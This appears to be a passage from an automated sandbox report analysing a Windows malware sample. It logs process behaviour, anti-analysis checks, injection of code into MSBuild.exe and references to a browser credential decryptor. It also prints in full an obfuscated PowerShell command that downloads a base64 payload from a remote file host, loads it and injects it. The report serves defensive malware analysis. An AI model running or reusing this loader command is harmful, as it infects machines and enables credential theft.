Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Memory allocated: 1E4C45D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Memory allocated: 1DCC3D70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Memory allocated: 1DCC3DF0000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Memory allocated: 1DCC3E30000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 10F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 4A70000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4407			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5434			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7668

Thread sleep time: -17524406870024063s >= -30000s

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: wscript.exe, 00000000.00000002.1741043297.000001E4C4E30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}
Source: powershell.exe, 00000001.00000002.1857748193.000001A45F3CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: MSBuild.exe, 00000003.00000002.2952093399.0000000000EAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_7528.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 7416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7528, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: 1.2.powershell.exe.1a4587a94e8.6.raw.unpack, UltraSpeed.cs	Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 1.2.powershell.exe.1a4587a94e8.6.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 1.2.powershell.exe.1a4587a94e8.6.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text9 + "\\mozglue.dll"))

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 41A000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 41C000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 80F008	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$nonsymmetrical = New-Object System.Net.WebClient;$unturf = $nonsymmetrical.DownloadData($Erlenmeyer);$aspectabund = [System.Text.Encoding]::UTF8.GetString($unturf);$cristiform = '<<BASE64_START>>';$doura = '<<BASE64_END>>';$postmodifier = $aspectabund.IndexOf($cristiform);$propylaeum = $aspectabund.IndexOf($doura);$postmodifier -ge 0 -and $propylaeum -gt $postmodifier;$postmodifier += $cristiform.Length;$thoracici = $propylaeum - $postmodifier;$tattooings = $aspectabund.Substring($postmodifier, $thoracici);$huhus = [System.Convert]::FromBase64String($tattooings);$homotaxic = [System.Reflection.Assembly]::Load($huhus);$nonrehydrated = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($emasculation,'','','','MSBuild','','','','','','','','','',''))"			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nix_5t0lxhobjilnb9crviabpjrw2dlc-lxeodjpf_z_1mp6cuqbs5kcpta&pk_vid=342803d1cc4e3b801739359203b5fe9d';$nonsymmetrical = new-object system.net.webclient;$unturf = $nonsymmetrical.downloaddata($erlenmeyer);$aspectabund = [system.text.encoding]::utf8.getstring($unturf);$cristiform = '<<base64_start>>';$doura = '<<base64_end>>';$postmodifier = $aspectabund.indexof($cristiform);$propylaeum = $aspectabund.indexof($doura);$postmodifier -ge 0 -and $propylaeum -gt $postmodifier;$postmodifier += $cristiform.length;$thoracici = $propylaeum - $postmodifier;$tattooings = $aspectabund.substring($postmodifier, $thoracici);$huhus = [system.convert]::frombase64string($tattooings);$homotaxic = [system.reflection.assembly]::load($huhus);$nonrehydrated = [dnlib.io.home].getmethod('vai').invoke($null, [object[]] @($emasculation,'','','','msbuild','','','','','','','','','',''))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nix_5t0lxhobjilnb9crviabpjrw2dlc-lxeodjpf_z_1mp6cuqbs5kcpta&pk_vid=342803d1cc4e3b801739359203b5fe9d';$nonsymmetrical = new-object system.net.webclient;$unturf = $nonsymmetrical.downloaddata($erlenmeyer);$aspectabund = [system.text.encoding]::utf8.getstring($unturf);$cristiform = '<<base64_start>>';$doura = '<<base64_end>>';$postmodifier = $aspectabund.indexof($cristiform);$propylaeum = $aspectabund.indexof($doura);$postmodifier -ge 0 -and $propylaeum -gt $postmodifier;$postmodifier += $cristiform.length;$thoracici = $propylaeum - $postmodifier;$tattooings = $aspectabund.substring($postmodifier, $thoracici);$huhus = [system.convert]::frombase64string($tattooings);$homotaxic = [system.reflection.assembly]::load($huhus);$nonrehydrated = [dnlib.io.home].getmethod('vai').invoke($null, [object[]] @($emasculation,'','','','msbuild','','','','','','','','','',''))"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation	Jump to behavior
